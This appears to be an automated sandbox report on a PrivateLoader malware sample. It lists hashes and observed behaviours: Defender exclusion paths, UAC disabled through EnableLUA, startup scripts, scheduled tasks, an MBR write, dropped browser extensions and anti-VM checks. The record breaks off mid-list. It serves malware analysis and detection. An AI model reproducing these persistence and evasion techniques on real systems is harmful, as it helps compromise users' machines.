Analysis
-
max time kernel
149s -
max time network
154s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
26-05-2024 12:56
Static task
static1
Behavioral task
behavioral1
Sample
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe
Resource
win10v2004-20240426-en
General
-
Target
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe
-
Size
579KB
-
MD5
a991da123f34074f2ee8ea0d798990f9
-
SHA1
3988195503348626e8f9185747a216c8e7839130
-
SHA256
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f
-
SHA512
1f958cacb820833ea8b5ac2d9ca7f596625e688f8f6b6e3ab6f27aa3b25b8c9e5b57e1eed532a8d2519da6c1b41492eb8ac930fc25eaf2be2f344c2f32e81a49
-
SSDEEP
12288:ntSXI9aVcVXyB7qngm/krqaeAPu3YNEYId/yhlJQNXU:neI9aucNSk2H+yCId/iQC
Malware Config
Signatures
-
Modifies firewall policy service 2 TTPs 1 IoCs
Processes:
kKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" kKnSTB7r4pBcN7GvUNqasQNX.exe -
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe -
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exekKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe = "0" fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" kKnSTB7r4pBcN7GvUNqasQNX.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
kKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ kKnSTB7r4pBcN7GvUNqasQNX.exe -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 64 2256 rundll32.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepid process 1496 powershell.exe 1716 powershell.exe 4060 powershell.exe 2128 powershell.EXE 3924 powershell.exe 4268 powershell.exe 488 powershell.exe -
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exekKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion kKnSTB7r4pBcN7GvUNqasQNX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion kKnSTB7r4pBcN7GvUNqasQNX.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
lyBBqBr.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Control Panel\International\Geo\Nation lyBBqBr.exe -
Drops startup file 6 IoCs
Processes:
CasPol.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jzGT4jIdTVt7uL7OpsZbMet6.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LrfTRLiuaFIABFeP6i2MGk1f.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\v7l4EGMuPquXpHezJ9n6EtyW.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3IT5Y30n3s4ZYNWUL80hMZX.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ENgTf8oU6PV9ROTApu7cOVAu.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mac0HnJLAMST9pSbpkdJPKIX.bat CasPol.exe -
Executes dropped EXE 10 IoCs
Processes:
W7trYT2qs0n8WChr52NiXmho.exeyNEUXnGkfpke7kx4lMguSE8Y.exeW7trYT2qs0n8WChr52NiXmho.exezuvvjm3jrlNIFlguyvxZd8G1.exekKnSTB7r4pBcN7GvUNqasQNX.exeqEerPdALJXoJXqugFYyfOhUr.exeInstall.exeInstall.exelyBBqBr.exe360TS_Setup.exepid process 1472 W7trYT2qs0n8WChr52NiXmho.exe 3336 yNEUXnGkfpke7kx4lMguSE8Y.exe 4800 W7trYT2qs0n8WChr52NiXmho.exe 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 3252 kKnSTB7r4pBcN7GvUNqasQNX.exe 3900 qEerPdALJXoJXqugFYyfOhUr.exe 4964 Install.exe 2644 Install.exe 3440 lyBBqBr.exe 2172 360TS_Setup.exe -
Loads dropped DLL 3 IoCs
Processes:
zuvvjm3jrlNIFlguyvxZd8G1.exerundll32.exe360TS_Setup.exepid process 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 2256 rundll32.exe 2172 360TS_Setup.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Pictures\kKnSTB7r4pBcN7GvUNqasQNX.exe themida behavioral2/memory/3252-123-0x0000000140000000-0x0000000140D56000-memory.dmp themida behavioral2/memory/3252-124-0x0000000140000000-0x0000000140D56000-memory.dmp themida behavioral2/memory/3252-125-0x0000000140000000-0x0000000140D56000-memory.dmp themida behavioral2/memory/3252-126-0x0000000140000000-0x0000000140D56000-memory.dmp themida behavioral2/memory/3252-127-0x0000000140000000-0x0000000140D56000-memory.dmp themida behavioral2/memory/3252-135-0x0000000140000000-0x0000000140D56000-memory.dmp themida -
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exekKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe = "0" fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" kKnSTB7r4pBcN7GvUNqasQNX.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exekKnSTB7r4pBcN7GvUNqasQNX.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA kKnSTB7r4pBcN7GvUNqasQNX.exe -
Drops Chrome extension 2 IoCs
Processes:
lyBBqBr.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json lyBBqBr.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json lyBBqBr.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
Install.exedescription ioc process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 api.myip.com 11 ipinfo.io 39 api.myip.com 40 ipinfo.io -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
zuvvjm3jrlNIFlguyvxZd8G1.exedescription ioc process File opened for modification \??\PhysicalDrive0 zuvvjm3jrlNIFlguyvxZd8G1.exe -
Drops file in System32 directory 37 IoCs
Processes:
lyBBqBr.exepowershell.exeInstall.exekKnSTB7r4pBcN7GvUNqasQNX.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol Install.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol kKnSTB7r4pBcN7GvUNqasQNX.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA lyBBqBr.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI kKnSTB7r4pBcN7GvUNqasQNX.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 lyBBqBr.exe File opened for modification C:\Windows\System32\GroupPolicy kKnSTB7r4pBcN7GvUNqasQNX.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA lyBBqBr.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 lyBBqBr.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini kKnSTB7r4pBcN7GvUNqasQNX.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA lyBBqBr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 lyBBqBr.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
kKnSTB7r4pBcN7GvUNqasQNX.exepid process 3252 kKnSTB7r4pBcN7GvUNqasQNX.exe 3252 kKnSTB7r4pBcN7GvUNqasQNX.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exedescription pid process target process PID 5044 set thread context of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe -
Drops file in Program Files directory 16 IoCs
Processes:
lyBBqBr.exe360TS_Setup.exedescription ioc process File created C:\Program Files (x86)\DQANlvmTAvZU2\KAjYzaVrfJWHz.dll lyBBqBr.exe File created C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\vtmOREe.dll lyBBqBr.exe File created C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\sguRlOY.xml lyBBqBr.exe File created C:\Program Files (x86)\PZjcxajBIsNTC\JnfeFKR.dll lyBBqBr.exe File created C:\Program Files (x86)\mWJfrhglotUn\icqtihG.dll lyBBqBr.exe File opened for modification C:\Program Files (x86)\1716728608_0\360TS_Setup.exe 360TS_Setup.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi lyBBqBr.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi lyBBqBr.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak lyBBqBr.exe File created C:\Program Files (x86)\DQANlvmTAvZU2\zwNtMwO.xml lyBBqBr.exe File created C:\Program Files (x86)\ADJLsahCU\AYarJH.dll lyBBqBr.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak lyBBqBr.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja lyBBqBr.exe File created C:\Program Files (x86)\ADJLsahCU\ozXqSjo.xml lyBBqBr.exe File created C:\Program Files (x86)\PZjcxajBIsNTC\yGslqDt.xml lyBBqBr.exe File created C:\Program Files (x86)\1716728608_0\360TS_Setup.exe 360TS_Setup.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job schtasks.exe File created C:\Windows\Tasks\XyyyteIMwZeutaZuw.job schtasks.exe File created C:\Windows\Tasks\FPieTEPPuEmJrhC.job schtasks.exe File created C:\Windows\Tasks\rrqYunoktxOQmCoCX.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1072 3336 WerFault.exe yNEUXnGkfpke7kx4lMguSE8Y.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
yNEUXnGkfpke7kx4lMguSE8Y.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI yNEUXnGkfpke7kx4lMguSE8Y.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI yNEUXnGkfpke7kx4lMguSE8Y.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI yNEUXnGkfpke7kx4lMguSE8Y.exe -
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 1428 schtasks.exe 1716 schtasks.exe 912 schtasks.exe 1424 schtasks.exe 2744 schtasks.exe 2172 schtasks.exe 1544 schtasks.exe 4836 schtasks.exe 2060 schtasks.exe 3212 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
rundll32.exeInstall.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeInstall.exelyBBqBr.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer lyBBqBr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "2" Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{74554a1b-0000-0000-0000-d01200000000} lyBBqBr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exezuvvjm3jrlNIFlguyvxZd8G1.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exelyBBqBr.exepowershell.exepid process 488 powershell.exe 488 powershell.exe 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe 1496 powershell.exe 1496 powershell.exe 1716 powershell.exe 1716 powershell.exe 4060 powershell.exe 4060 powershell.exe 1192 powershell.exe 1192 powershell.exe 3348 powershell.exe 3348 powershell.exe 2128 powershell.EXE 2128 powershell.EXE 3924 powershell.exe 3924 powershell.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 4268 powershell.exe 4268 powershell.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 